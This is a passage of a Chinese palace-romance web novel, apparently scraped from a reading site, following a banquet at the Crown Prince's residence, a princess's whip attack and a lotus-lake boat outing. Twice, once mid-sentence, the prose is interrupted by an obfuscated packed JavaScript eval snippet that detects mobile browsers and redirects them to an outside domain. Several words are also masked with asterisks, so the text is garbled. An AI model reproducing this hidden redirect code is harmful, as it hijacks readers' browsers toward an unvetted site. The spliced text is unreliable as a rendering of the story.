孙大娘子看了一下,里头粗粗瞧着便有至少六七十两的散碎银钱,便笑着对婉淑说:“你瞧,你爹这会子是不是就好多了,也开心了?” 婉淑轻轻咬唇,低声说:“爹虽面上不说,但是这些日子娘躺在床上,爹爹从不来看望,对我也是仿佛没看到一般,良娣一下帖子,才想起来咱们母女了……” 孙大娘子面色一变,立刻便叫扶芳带着小丫鬟去门口,自己握住婉淑的手,轻声说:“好淑儿,你可是怨你爹了?” 婉淑咬唇,不说话,但是这就等于是默认了。 孙大娘子立刻严肃地说:“淑儿,你心里头无论如何想,可绝不能叫任何人知道你的想法,可明白?” “为什么?都是女儿,自小我就要乖巧懂事,要读书识字,爹爹才会夸我,二姐姐却只需要撒娇卖乖,便什么都有,出事了也是,西院闹出那么大的事情,父亲面上该有的都好歹有,我们呢?”婉淑心中哪里能没有怨气呢?这会子干脆全部跟阿娘坦荡地承认了,她眼圈发红,轻声说,“娘撞柱的时候,我当时快吓**,父亲看着疼惜我们,但是对咱们院子素来是等闲想不起来的,这难道不算偏心吗?” 孙大娘子苦笑,心中明白,自己这个女儿是心疼自己,所以真正地长大了。 原先还在计较漂亮衣服和钗环首饰,这些日子接连发生事情,却叫她真正地成长了,看出来了东院与西院巨大的不平来。 孙大娘子叹了口气,摸着婉淑的头发,轻声说:“这天下男子都是这样的,你爹其实已经算很好了。” 见婉淑一脸不以为然,孙大娘子便轻声说:“你知道你外祖父宠妾灭妻的事情吧?” 婉淑点头,她虽从未见过外祖父,母亲出嫁之后也从不与外祖父来往,但是她大概知道有这么回事。 而此刻孙大娘子才把往日的事情细说给婉淑听,她说:“你父亲只算得上有点偏心,大致一碗水还是端的平的,你外祖父却生生气**我娘。” 婉淑一听,登时惊讶地瞪大眼睛。 孙大娘子简单地说了几句,无非又是常见的事情,容色不出众的正妻不受喜欢,等漂亮的小妾入门之后,连着生下了好几个儿子,正妻只守着一个女儿,愈发忍让,却也不能过好日子。 最后妾室当家,正妻活生生因缺衣少食,慢慢被耗的病**。 婉淑这辈子从未听过如此可怕、颠倒纲常的事情,忍不住说:“可律法规定,苛待妻室,那小妾应被处死!连外祖父也会被罢了县丞的职位!” “律法是律法,但是实际上关上门过日子,谁知道发生了什么?”孙大娘子轻声又给婉淑说了个更可怕的事情。 她说起婉淑见过的一个长辈,婉淑儿时见过,那是个非常端庄严肃的夫人,出身也不差。 只是后来就不曾见过她了,阿娘不说,婉淑都想不起来有这个人。 这时候听到,婉淑有不祥的预感。 果然孙大娘子说:“她也是家里大娘子,可夫君与她感情十分不睦,她性子又是个刚强的,后来夫君纳了好几房妾室,家里都是妾室生的孩子,家里也给妾室管着,公婆与夫君一条心,每日磋磨她,没多久就去了。” 婉淑惊恐地捂住心口,不可置信,说:“何至于此?” “怎么不至于?你看关娘子当初何等才情、何等美貌,陪嫁几千两,十里红妆……那何等浩大的声势?最后不都败在崔妙人手下了么?”孙大娘子冷静地说。 这又是婉淑完全不知道的事情,她震惊地问这是怎么回事,孙大娘子便把当初关娘子怀胎前后与老夫人有矛盾,崔小娘如何借机上位的事情都说了。 “我虽然是出主意那个,但是我原先只想着卖你爹和老夫人一个好,这家里给下人把持着,确实也不像话。我确实贪图关娘子手里留下的钱财,不算光明磊落,算计人心,但是唯有动手**,我确实是不敢的,也觉得不至于。”孙大娘子叹了口气,摸着婉淑的头发,轻声说,“但是那日崔小娘跟在老夫人身边,我亲耳听到崔小娘说打蛇不死反留后患,尽量要全杀了才是。” 婉淑不可置信,说:“父亲也不管吗?父亲不是很爱前面的关娘子吗?年节日日祭拜,父亲从不肯假手他人呢!” “淑儿,你一定要记住,男子的爱,永远比不过他自己的权势和地位。”孙大娘子眼里闪过厉光,她轻声说,“阿娘今日与你说这些陈年旧事,也是想着你长大了,赵家高门大户,未来不知道多少事情等着你,你可千万别学那些憨货,一定要小心经营、揣摩好赵二郎的心思,才能有安稳日子。” “阿娘,我知道了。”婉淑心中有些闷闷不乐,但是却也明白阿娘跟她说的是要紧事情,便点头答应下来。 “你愈发长大了,我就安心了。”孙大娘子欣慰地笑了,对婉淑说,“ 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当然不只是因为自恃身份,而是婉蓉总是打扮得张扬艳丽,虽也好看,但是有时候没打扮好,便像个多宝柜一般,透着股没见过世面的浮夸和张扬。 比如前日回门那套衣服,婉淑虽妒恨富贵,却并不觉得漂亮。 但是大姐姐便不一样,大姐姐每回打扮都看着场合来,从不会喧宾夺主,但是却十分亮眼,从不会真正被人比下去。 比如今日这套衣衫,颜色看着素淡,但是料子却是上好的,走动之间流光跃动,便不显得过于素拙。 头上那荷花簪也不值钱,不过是常见的东西,但是斜侧压了一支绿的通透的素玉簪,腕上搭配了一对绿的出水的叮当镯,一下子便让人知道主人家并不是拮据,而是有巧思。 这一套搭配,低调却有贵气,衬得大姐姐气质愈发出尘。 婉淑这细细打量下来,觉得自己出门之前特地搭配的衣衫倒处处都是不是,愈发心中不舒服,话到一半便染上酸味儿,说:“若是大姐姐嫁入侯府,只怕不知要好看成什么样子。” 这便是心里不舒服,又提醒关怀素被抢了亲事的事情了。 关怀素懒得理她挑拨,但是也不想忍耐,便看了看婉淑,笑了一下,说:“我也期待三妹妹嫁入赵家之后是什么光景。赵家家大业大,赵二哥一月月钱据说也有十五两,三妹妹嫁进去也有月钱,一个月三十两,想来尽够三妹妹花用了。” 这话说的,婉淑在家里大手大脚惯了,三十两还不够她一个见客的首饰呢。听关怀素这么说,婉淑便立刻说:“哪家的爷们是靠月钱过活的?大姐姐没有亲兄弟,想来是不知道这里头门道。” 这便是嘚瑟自个儿有亲兄弟撑腰了。 关怀素便笑了一下,说:“也是,大娘子的体己,肯定大部分是要留给辰瑜弟弟的。” 这话一下子叫婉淑气闷,她忍着气说:“天下间走到哪儿都是这个道理,也是如此,二哥哥自然也有爹娘私下贴补,不可能只花那点月钱。” “三妹妹说得是。”关怀素笑着说,“不过据说赵二哥屋里还有两个通房大丫鬟,这一个月的水粉胭脂、衣衫首饰加起来,也不知道赵二哥贴补完,手里还剩多少。” 这话一下子扎到了点子上,叫婉淑登时气得脸色又红又白,偏说不出话来,两人便各自沉默,不再搭话。 直到到了太子府侧门,姐妹二人也不打招呼,各自下了马车,往府内去。 第一百二十二章 良娣小宴 这是赵白芷成为太子良娣之后第一次举办宴会,瞧着十分气派。 赵白芷住的是太子府中东府,关怀素走进去,便有个嬷嬷来接引,关怀着跟着嬷嬷穿过几道门,就见一条溪流穿府而过,流过开阔的假山与花园,最后汇聚成花园中间的大湖。 湖上此刻满湖都是怒放的荷花,还有小舟停在湖边,在阳光下瞧着实在是美得人心醉。 带路的嬷嬷一路在介绍景色,瞧关怀素惊讶地看那湖泊,便笑着主动解释:“这是太子特地为良娣新挖的湖,因听良娣说在家总喜欢看荷花,夏日还总喜欢摘新鲜的莲子熬糖水,太子便在大婚之前特地叫人赶出来,以免良娣换了地方太过思家。” 关怀素也大约知道太子喜欢赵白芷,却没想到竟连这么细致的地方都想到了,瞧着这妈妈竟十分和气,便感慨地说:“白芷姐姐过得很好。” “是,太子把所有姬妾都挪去了西府那边,东府只有太子殿下和良娣两个主子。”那妈妈轻笑着说,“一概事情,都是良娣做主。前些日子进宫面圣,也一直是良娣陪伴。” 关怀素听她这么说,心中有些诧异,因前面挖荷花池也就算了,后面这些事情也实在是太私密了些,怎么这嬷嬷随随便便就什么都跟自己说了? 那嬷嬷显然也看出来关怀素的疑惑,便笑着说:“我是良娣如今贴身伺候的妈妈,良娣说在闺中与姑娘关系最好,今儿怕人多惊扰到姑娘,便叫我接引姑娘。” 关怀素这才恍然大悟,竟是赵白芷特地安排的,她心中感动,便笑着说:“原来如此,白芷姐姐有心了。” 说着话,一行人继续往前走,很快到了这东府正院。 因关怀素来得早,如今屋里还没有什么人,就只有婉淑先走一步,已经到了屋里,除此之外,还有几个,也都是素日见过的熟面孔。 大家都没什么变化,倒是最中间的赵白芷,瞧着又变了许多。 居移气、养移体。 再次见面,赵白芷已经像是玉雕的佛像一般,华光内敛,虽笑盈盈地看着和蔼可亲,但身上已经有不怒自威的上位者松弛气势。 关怀素看得出来,那嬷嬷一点没说错,许是还往低调了说,赵白芷看着就知道过得极好。 “良娣这屋里全是好东西,我今儿算是开眼了。”旁边就有熟悉的姑娘羡慕地说。 众人也都附和,还有伶俐的专门挑出来稀罕的物件,说:“别说这些摆设了,良娣头上这凤冠真好看,这一排珍珠,外头有钱都寻不到呢!” 赵白芷头上那掐金丝凤冠,上头镶嵌的珍珠个个拇指肚大,都是上等绝品,一看就是北珠,北珠乃是贡品,这么大的北珠,随便扣下来一个,都够京师良民一家五六口人快快活活过上四五年了。 而她今儿穿的其实并不张扬,就是简单的鹅黄色绣荷花齐胸宫纱、外头套着柳绿色的满绣大袖衫,以她的身份来说,瞧着也只是不失礼,算不得刻意装扮。 因此头顶那凤冠,瞧着竟不是最贵重的撑场面东西,这才是最紧要的。 那伶俐姑娘可谓是夸到了点子上,众人都心知肚明,也确实是艳羡,不免都纷纷附和。 说着话,婉蓉也进来给良娣请安。 这一屋子都是精心打扮过的,婉蓉一进门,却还是叫所有人一惊。 她盛装打扮不说,竟戴了一顶金丝冠为底的“一年景”,满头都是鲜花,搭配上一身罗烟纱,戴着七宝璎珞,衬的她容色愈发姝艳。 只是这阵仗也太大了些。 “婉蓉妹妹打扮得可真好看。”立刻便有人开口,语带讥讽地笑着说,“不知道还以为是安乐侯府的宴会呢。” “良娣的宴会,我认真打扮,也是重视。”婉蓉也不是忍气吞声的性子,闻言立刻便当场回嘴,笑着说,“妹妹家里若是有好东西,做客的时候也只管戴上,别自个儿没有,便盯着别人。” “你!”那开口说话的姑娘被婉蓉气得恼了,偏想到在赵白芷这里,到底不好吵架,便捻了帕子冷笑一声,说,“婉蓉姐姐真是好威风,不知道还以为是侯府夫人出门了。” “你呀,别与婉蓉姐姐计较了。听说安乐侯未过门的夫人已经到了京师,看来没多久侯府夫人进门了,婉蓉姐姐只怕不好随便出门了。”旁边就有交好的姑娘也附和着说话。 “你说什么呢?”婉蓉气得满脸通红,立刻开口说,“谁跟你说了?我怎么不知道这事儿?” “婉蓉姐姐不知道?昨儿西北来的马车带了好长一条车队,据说都是那位将军家女儿的嫁妆呢!”立刻有人促狭地笑着拱火。 “大家都是一起长大的姐妹,快别拌嘴了,花园里荷花开得正美,我让人备了小船,叫懂划船的下人等着,你们这会子去,可以游船观荷,还可以采些新鲜莲蓬带回去。”赵白芷笑着开口,众人神色都是一肃。 哪怕是缺心眼的婉蓉也知道,如今赵白芷说的话可不能随便忤逆,因此她听到赵白芷这么说,哪怕心有怨恨,想问清楚到底怎么回事,却也不敢继续说。 众闺秀都齐齐行礼应是,且也确实都十分感兴趣。 毕竟都是不太出门的闺秀,有些人这辈子都没机会游湖。 众人便笑嘻嘻地邀请赵白芷一起,赵白芷却拉着关怀素的手,轻笑着说:“你们先去,我慢慢在后面走走。” 众人一看,便知道是良娣想和关怀素说些私房话,便也不纠缠,一个个笑着离开。 婉淑走的时候神色复杂,显然是心中有些不平,觉得自己好歹是未来嫂嫂,赵白芷却与不相干的大姐姐更亲热。 赵白芷也看出来了,却没放在心上,只笑了笑,拉着关怀素的手慢慢站起来,轻声说:“婉玉姐姐,我有孕了。” 关怀素没想到竟是这么大的事情,惊了一下,握着赵白芷的手立刻小心三分,轻声连声问:“多大了?这时候更要小心静养,你若是要开宴会,等日后生下来再说,何必挑在这个时候?” 不怪关怀素大惊小怪,实在是这可是太子的第一个孩子! 往年太子府里那么多姬妾,便是一个怀上的都没有,当然关怀素现在知道是因为太子都没近过其他女人的身,但是这事儿其他人不知道啊! 许多不知情的人,都还以为是太子不太行呢!甚至传闻还有人私下参奏圣人,让圣人给太子多纳些好生养的妇人,被圣人斥责才歇了心思。 所以赵白芷这一胎,实在是太紧要了,她挑这时候办宴会,人多眼杂的,关怀素就怕有什么闪失。 “我何尝不知道,只是太子妃前些日子不知是否猜到了,总频繁试探,我心中担心,便才如此行事。”赵白芷轻声说。 二人走出房门,一路顺着风雨廊慢慢行走,外面阳光灿烂,到处都是人嬉笑着说话,瞧着倒是热闹得很。 关怀素却全无心思在玩乐上了,她有些担心地说:“妹妹有何忌讳不成?” 赵白芷看看她,压低声音轻声说:“我总觉得太子妃很奇怪,自我入府她就待我极其亲热,殿下素来所有妻妾都在西府,却只让我一个人在东府,种种安排,实在是盛隆至极,可太子妃却从未有任何妒恨,反而一直对我照拂有加,甚至前些日子许是猜到了什么,竟连着给我赏了许多上好的东西。” 关怀素登时愣住了,还没说话,赵白芷就担忧地轻声说:“她越是如此,我越害怕,就怕她心里在打什么主意……” 关怀素总算是明白赵白芷在担心什么了,只是还没来得及细想,突然听到不远处有吵闹的声音,而后便看到福宁郡主一身骑装、大步流星地提着马鞭朝这边而来。 关怀素吓了一跳,几乎是反射性地挡在了赵白芷的前面,朝着到了面前的福宁郡主请安:“郡主安康。” 福宁郡主脸色冷冰冰的,拿着马鞭指着赵白芷问:“太子哥哥今儿宴客,为什么你没有给我发请帖?” 赵白芷脸色也不好看,但是顾忌福宁郡主身份,只能打起笑脸,温声说:“郡主,殿下说你今日在宫里,不方便,就不用特地叨扰你了……” 这解释一听就是托词,可是福宁郡主与太子之前的事情闹得满京师都沸沸扬扬,她被平安侯周乐天打晕送回宫里的事情,到现在还有人私下在传呢。 尤其赵白芷自己也是有心思的,她到底又不是什么泥菩萨,当初出嫁的时候被福宁郡主醉酒**、拦着不许出门……这些事情加起来,赵白芷当然也不愿意在自己的宴会里邀请她。 可福宁郡主一辈子骄横,在她看起来,这可是太子的宴会,太子宴会她自小每回都到,凭什么赵白芷来了便不许她来了? “放肆!便是王姐姐办宴会都会叫我,你区区一个良娣凭什么敢不许我来?!”福宁郡主指着赵白芷破口大骂,而且不但怒骂,甚至还对关怀素说,“滚开!再不让开我连你一起抽!” 这话说的,显然是真的要动手了,赵白芷如今可是有身子的人,关怀素当然不敢让开,紧张地劝阻:“郡主息怒,此事不过是个误会,闹大之后太子殿下若是心中不快,岂不是不美?” 福宁郡主显然天不怕地不怕,唯一怕的就是太子不高兴,因此犹豫了一下,可到底心中愤恨,于是立刻一掌推开关怀素,然后挥起马鞭,就要往赵白芷身上抽! 关怀素没想到她居然如此鲁莽,真的敢在太子府大闹,没有太过防备的结果就是她被一掌推得站不稳,偏她们此刻站立的地方正是要去花园子的出口,没有栏杆护着,关怀素一个趔趄,竟是整个人直接就往下栽了出去! 下面便是石子路,若是真这么栽下去,只怕要受伤。 电光火石之间,关怀素只能护住最紧要的头部,做好了受伤的准备。 却没想到下一刻,突然跌入了一个淡淡药香的怀里。 柔软的织物下是火热的皮肤,关怀素紧张地摸索着想站稳,却摸到了男子劲瘦有力的腰和胸口。 她抬起脸的时候,才看到周乐天被她摸得满脸通红,不敢看她,只轻声抖着声音问:“你、你无事吧?” 关怀素登时反应过来自己干了什么,登时也是面红耳赤,立刻被烫到一样松开手。 二人还没说话,突然身后传来众人的惊叫和鞭子甩在人身上的钝痛声,关怀素想起赵白芷,立刻惊恐回身,却更惊讶地看到——太子不知何时已经赶到,居然抱住了赵白芷,生生替赵白芷挨了一鞭子。 这一瞬间,整个世界都安静了。 直到赵白芷发出惊恐的叫声:“殿下!殿下你流血了!” 福宁郡主到底是正经**过武的,那鞭子含着愤怒,也没留力气,一鞭子下去便能让人皮开肉绽。 尤其是夏日大家都穿的单薄,太子衣衫已经裂开,下面很快鼓起一长条吓人的红痕,还有斑斑血迹。 福宁郡主还没说话,太子反手已经抓住了她的鞭子,怒声骂:“你打白芷!” “太子哥哥、我、我不是故意的……”福宁没想到自己居然打到了太子,她登时脸色也变得惨白,语无伦次地解释。 “拖出去!以后、不许她来!”太子咬牙,冷声说。 “太子哥哥!”福宁郡主不敢置信,瞪大眼睛,眼泪一下子就出来了,大吼,“太子哥哥,你小时候答应我,你会保护我一辈子的!” “所以,我现在,没让、白芷打、回去。”太子压低声音,一字一顿地说,“因为,你打的、是我。” 因为打的是太子,所以他只让福宁离开,永远不许再登门。 但是今日若是打的是赵白芷,太子会让赵白芷亲自打回去。 关怀素听懂了,福宁与他一起长大,自然也听得明白,闻言发出凄厉的哭叫,说:“太子哥哥,你答应会一辈子保护我的,你答应的!” 她哭喊之中,宫里老嬷嬷亲自上前,抓着她就往外走。 可福宁郡主却不愿意,哭喊着说:“太子哥哥,你答应我的!你答应我的!” …… 这一通闹下去,福宁郡主到底是被带走了,但是在场气氛也一下子静默不安。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425719|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “快,给殿下换衣敷药!你们继续玩,我这边处理了,大家再一起游湖!”不得不说,赵白芷不愧是悉心培养的高门贵女,上一刻还在哭泣,这会儿却马上能收起情绪,立刻井井有条地安排一切,说,“我第一次宴客,倒叫大家见笑了,迟些还准备了荷花宴与诗会,大家若是不嫌弃,还请赏个光。” 这话一出,众人登时气氛稍微松快了一些,众人都明白良娣的意思,便有伶俐人笑着回:“良娣的荷花宴,那我这嘴馋的可不能错过,定要试试!” “是啊,这湖泊里满是荷花,我今儿定要泛舟湖上玩玩、开开眼界不可,否则这辈子还不知有没有第二次呢!” 众人纷纷附和,一时间气氛彻底轻松下来,赵白芷扶着太子自去屋里,临走时给关怀素使了个眼色。 关怀素还以为赵白芷让她放心,便回了个笑脸。 然而下一刻,赵白芷刚转身离开,便听到婉蓉尖利的声音,说:“大姐姐,你怎地还抱着侯爷?!” 这话说的,众人顿时兴奋地看了过来。 还有不明所以的人在问:“怎么回事,安乐侯不是纳了李家二姑娘吗?怎地又抱着李家的大姑娘?” 直到看清楚是周乐天,这才明白是平安侯不是安乐侯。 只是这兄弟之间与姐妹之间争风吃醋的事情,最是惹人注目,关怀素知道婉蓉挑破此事,估计是想洗刷她抢了姐姐婚事的名声,想坐实她和周乐天有私情。 可是若真如此,李家大女儿与平安侯有私情,二女儿给侯爷做小……家里日后也别出门了,不然只怕要被人戳脊梁骨,都说他们家攀附权贵、不择手段。 虽关怀素并不在乎这种名声,可婉蓉此种行为,真正是为了自己那一点好处,恨不得拿旁人全去陪葬。 偏关怀素这时候才反应过来赵白芷临走那个眼神,是提醒她快些注意别和周乐天靠一起,这时候想再行动已经晚了,关怀素还没想到如何,却听到周乐天的声音在头顶传来,温声说:“方才我见李大姑娘差点被推倒,若摔在这石阶上,可要出大事,又看到殿下受伤,一时没注意还抓着李大姑娘,是我孟浪,请姑娘赎罪。” 说着,关怀素感觉自己被放下了,那股淡淡的药香味儿隔得远了些,她抬头,恰好看到周乐天在对自己行礼。 他耳朵和脸还红红的,但是言行举止十分有礼,叫人挑不出错来。 “侯爷高义,这石阶摔下去,是要出大事。”不远处走来熟悉的武将夫人,笑着说,“若是我女儿遭逢如此劫难,能有人仗义相救,我不知心中多么感激。” 关怀素一看,才看到是常姨母。 她心中一热,又听到一帮熟悉的朋友纷纷在说:“就是,若是我被人推搡跌倒,有人救我,那我可太感激了。” 还有人在讥讽婉蓉:“这又不是什么僻静的荒郊野外,平安侯和李家大姐姐都是当着大家,未曾避人,坦坦荡荡的,可不是那等苟且小人!” 这话暗讽的就是婉蓉与刘仁苟且,将婉蓉气得脸猪肝色一样,偏不远处过来的男子里也有刘仁,闻言立刻不满地皱眉:“说什么呢?!” 刘仁到底也是侯爷,又是大长公主的嫡子,武将一系敢讥讽婉蓉,却不敢得罪他,只能闭上嘴。 而刘仁却看着周乐天,又看看关怀素,见她一身绿纱,在一众花红柳绿之中一眼见之忘俗,想到母亲对她的重视,到底也不想把此女推给周乐天,叫他捡大便宜,便说:“不过我也是看着李大姑娘摔下来的,十分凶险,若我在,也会帮人。” 这话说到这里,哪怕婉蓉面上愤愤,但是到底不敢与刘仁顶嘴,此事便定性了,众人便随口说了几句场面话,总算叫一场风波弥散于无形。 众人散去,包子脸想过来招呼关怀素去玩,却被身边朋友拦住,还在不明所以,众姑娘就嘻嘻哈哈地拉着她离开。 “我还没给婉玉姐姐说话呢!我练了新的剑舞还想给她看呢!”包子脸不开心了,她之前就没轮上表演剑舞,心心念念了三个月了,终于找到机会,却被人拉走了。 “你个傻子!”旁边懂事儿点的姐姐就压低声音说,“你没见乐天哥要和婉玉姐姐说话呢?!” 包子脸完全没开窍,不明所以说:“见到了,咱们可以一起和婉玉姐姐说话啊!” 又去拉宋兰:“兰姐姐,你往日不是和婉玉姐姐关系最好么,咱们一起过去呀!” 宋兰立刻反手拉住她,说:“可别过去!你今儿坏了事,仔细你的皮子,我可真要和你拼命了!” 包子脸一脸莫名其妙,十分冤枉地大喊:“你们到底在说什么?!” “说你婉玉姐姐嫁人、你乐天哥哥要娶媳妇的大事!”厉如珠听不下去了,朝着包子脸就是一个爆栗,压低声音说,“快走吧,你个傻子!” 包子脸这会子终于明白了,瞪大了圆圆的眼睛。 旁边人看得好笑,也有人感慨:“还以为得要等个天仙他才看得上呢,却没想到最后看上的是李婉玉。” “往年不说,这两年婉玉姐姐确实像变了个人,确实是个天仙。”旁边的人笑嘻嘻地回,说,“别人站在乐天哥旁边,总觉得差点意思,但是换了如今的婉玉姐姐,怎么瞧着就是天生一对,对吧?” 大家想了一下,想到今儿个周乐天穿的一身月白色袍子,半束长发,浑身气质如清风朗月,任谁站在他身边,似乎都多了几丝浊气。 但是就李婉玉一身绿纱,并不盛装,却也是一身清冷贵气,站在周乐天身边,瞧着真是一对世外佳偶。 众人深以为然,然而被她们讨论的人,此刻正尴尬地沉默着,一时不知如何打破静默。 哪怕是关怀素,想到自己方才惊慌之中在周乐天身上摸来摸去的事儿,竟一时也无言了。 “爷、姑娘,要不去看看荷花?”关键时刻,来福打破寂静,给了二人一个行动目标。 正不知要说什么的关怀素和周乐天立刻点头,一行人这便往荷花湖边而去。 第一百二十三章 泛舟湖上 “侯爷,姑娘,会划船的小厮这会子都没了。”到了岸边,伺候的太子府嬷嬷连忙上前接引,而后赔礼道。 这倒是正常,船只只要有钱,提前定下,赶工也能快点赶出来。但是不怕水的下人却是难找,而且闺秀郎君们大多都在京师长大,便是武将之家,会水的也不多,这会子自然是船多人少了。 便是周乐天都被难住了,他在西北带兵时也都是干旱居多,因此也不会水。 好在关怀素在永年县长大,十分熟识水性,便说:“无事,我会些。” 说完,她也不用人搀扶,当先轻盈一跃上了小舟,而后转身伸手,对周乐天说:“船上颠簸,侯爷小心。” 周乐天愣了一下,把手放上去握住关怀素的手,轻巧地提劲跃了上去。 “哎呀!”上船之后,小舟微微摇动一下,周乐天惊得一动。 关怀素早有准备,立刻扶住他,忍着笑提醒:“侯爷别怕,这人上船都会晃动,若挣扎太过,船只会动的更厉害。” 说完,她扶着惊魂未定的周乐天,说:“快坐下吧,坐下会舒服很多。” 周乐天惊魂未定地坐下,还没坐稳,突然感觉到船只摇晃一下,却是对面的关怀素坐下,然后摇动双桨,轻轻一点,小舟飘摇着离开了岸边,摇摇晃晃入了水道。 这湖泊之中满是荷花,中间留了窄小水道,荷花茂密,船只彼此隔得非常远,且水道交错,划出去之后,彼此并看不到,除了听到远方嬉笑声音,天地之间就好像只剩这一方小舟。 “侯爷,你放松些。”关怀素看周乐天还抓着小舟的船舷,修长的指骨都微微有些发白,显然十分用力,紧张坏了。 本来关怀素方才有一点点捉弄人的意思,可见他如此可怜,便也不忍心继续捉弄了,便放软声音,轻声说:“这小舟就和您骑马一样,你要呼吸吐纳之中感知它的摇动,而后顺着它的轻微晃动放松身体,把它当作您的战马一般就行。” 这说法瞬间让周乐天明白了,他立刻尝试着去感受,果然立刻感觉到了身下小舟摆荡,感受到了小舟在水上的起伏。 就真的仿佛昔日感受到爱驹的呼吸与体温一般。 几个呼吸之间,周乐天的身体立刻稳定下来。而当他稳定下来,便马上发现紧张感被驱散了。 “你好厉害,我真的习惯了!”周乐天眼睛发亮看着关怀素说。 “不是我厉害,是侯爷厉害,学得很快。”关怀素看他果然完全放松下来,放下心来,笑着放缓船桨,为了分散周乐天的注意力,便开口说,“我瞧着侯爷如今身体好了许多?” 他能这么快赶到扶住她,方才上船也十分轻盈,瞧着比之前气色也好了一些。 周乐天闻言立刻笑了笑,说:“托姑娘福,确实是好了许多,若不是前几日偶感风寒躺了半月,应当还能更好些。” “你怎地又风寒了?”关怀素立刻紧张地问。 周乐天叹了口气,不好跟关怀素说,其实是因为她的缘故。 上回圣人说要见关怀素,周乐天知她性子不喜烦扰,心中不愿意她与皇家产生关系,又不能拒绝圣人要求,可是又无他法,寻思来去,只能自己开着窗户睡了一夜,冒了寒风,果然感染风寒,就又拖了半月。 可拖到现在,也已经是极限了,若是他还不好,以陛下的心思,只怕会越过他,直接通过赵白芷找她也不一定。 想到这里,周乐天神色微黯。 他还没想到怎么提起这事儿,关怀素却眼前一亮! 此时荷花开得正好,且因是太子府上,种的都是精选过的品种,个个开完之后碗口大不说,且颜色鲜嫩,日光下看着美的让人屏息。 这还不算什么,关怀素眼前发亮的是她看到了一株并蒂莲! “那边竟有并蒂莲花!这可是好东西,采回去给白芷妹妹,是个**!”关怀素想到赵白芷怀孕后眉宇之中的那一抹淡淡轻愁,想着这东西应能让她开心,立刻便改变方向,一头扎入荷花深处。 荷花池里有些荷叶长得极其高壮,二人划舟进去,竟整个人都被没入荷叶与荷花下,一时之间,只闻到一股浓郁的荷香。 且因里头没有清理过,高高矮矮的叶子胡乱生长,关怀素是比较兴奋,加上习惯了,熟稔地避过,却忘了周乐天不熟悉野荷丛。 周乐天只觉得眼前一黑,紧接着就看到一片荷叶“啪”的一声砸在脸上,他吓了一跳,整个人瞬间习惯性想反击,却忘了自己在船上,因此一个跃起,却是脚下一荡,竟直直地栽在了船上。 关怀素只感觉船身一震,回头却看到周乐天栽倒在船头,吓得正在胡乱扑腾。 “别动!”关怀素吓了一跳,才想起来周乐天应是不熟悉荷花丛,十分着急,却也不敢过去,小舟很小,若是两人都去一侧,立刻便会翻船。因此关怀素只能紧张提醒,“别怕,只是荷叶,没有别的!” 周乐天紧张的也就那一下,听到关怀素提醒,立刻也意识到是自己反应太大了,他立刻停下手脚,却也吓坏了,死死地巴着船沿不放,一时一动不敢动。 关怀素见他整个人侧躺在小舟上,吓得唇都白了,心中十分懊悔自己冲动,连声说:“对不住侯爷,我太孟浪了,忘了您未曾坐过小船……” 她不知道,周乐天被吓完,觉得自己十分失态,心中一时也十分难受。 他有些害怕地巴着船舷,有些紧张又难过地看着关怀素,轻声说:“我是不是丢人了?” “啊?”关怀素脑中不明所以,茫然地看着周乐天,压根没理解周乐天的脑回路怎会拐到这里。 “不过是游湖而已,我却如此失态。”周乐天指了指自己,有些难过地说,“只是遇到荷叶,就吓得衣冠不整,瞧着是否十分可笑?” 关怀素这下才明白周乐天到底是在说什么。 她看着周乐天,瞧他有些难过,却不知道为什么,一下子笑出声来。 周乐天登时眼圈都红了,他接连两次为了见她,心中喜悦,提前盛装打扮,还得假装若无其事,本来为的就是希望能给心中悦慕之人留下好印象,而后找机会剖明心迹。 结果丢人不说,还惨遭心悦之人嘲笑。 周乐天登时心如死灰。 正在此时,却听到关怀素笑着说:“镜湖三百里,菡萏发荷花。五月西施采,人看隘若耶。回舟不待月,归去越王家。” 关怀素念完,看着周乐天笑说:“侯爷此时多亏在此,若是在岸边,只怕也要‘人看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425720|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隘若耶’了。” 这首诗是写西施采莲,因美貌惊人,引得岸边无数人蜂拥着围观。 关怀素这么说,便是把眼前美人比作西施。 她没有撒谎,周乐天看自己是失礼衣冠不整,在关怀素看起来,却是美人横于舟上,头发一半落入水中,瞧着仿佛莲花成精了一般,只让人惊叹世间竟有此美人。 只是说完,看到周乐天一瞬间脸上飞起霞色,整个人登时红的如煮熟的虾米,关怀素才发现自己这话似乎有些过于轻佻,便立刻咳嗽一声,说:“侯爷小心些,来,拉着我慢慢坐起。” 她说着话,伸出手,周乐天也没那么害怕了,心中雀跃欢喜,小心地拉着她的手,轻轻地坐起来。 等到坐直之后,他刚放心,便发现身上湿哒哒的,惊呼一声:“我头发湿了?” 摸了一下头,说:“我的发冠也掉入水里了!” 何止,他不但满头发丝都垂下来,乌黑的湿法滴在衣衫上,瞬间整个前胸后背的衣服都湿透了。 且他方才大袖也垂入水中,也都湿哒哒的。 进来的时候还是个翩翩佳公子,此刻却成了这样。关怀素有些心虚,又觉得他可怜,又怕他着急,便跪起身,摘了那朵并蒂莲塞入周乐天的怀里,马上要划动浆,说:“一会儿就说你为了给太子采这朵莲花,不小心差点跌入水中,现在赶紧回去,可别一会子又着凉了!” 说着她立刻开始划船,周乐天发愣之中莲花入怀,只觉得满怀清香。 他连忙说:“不行,我头发还散乱着,实在不雅!” 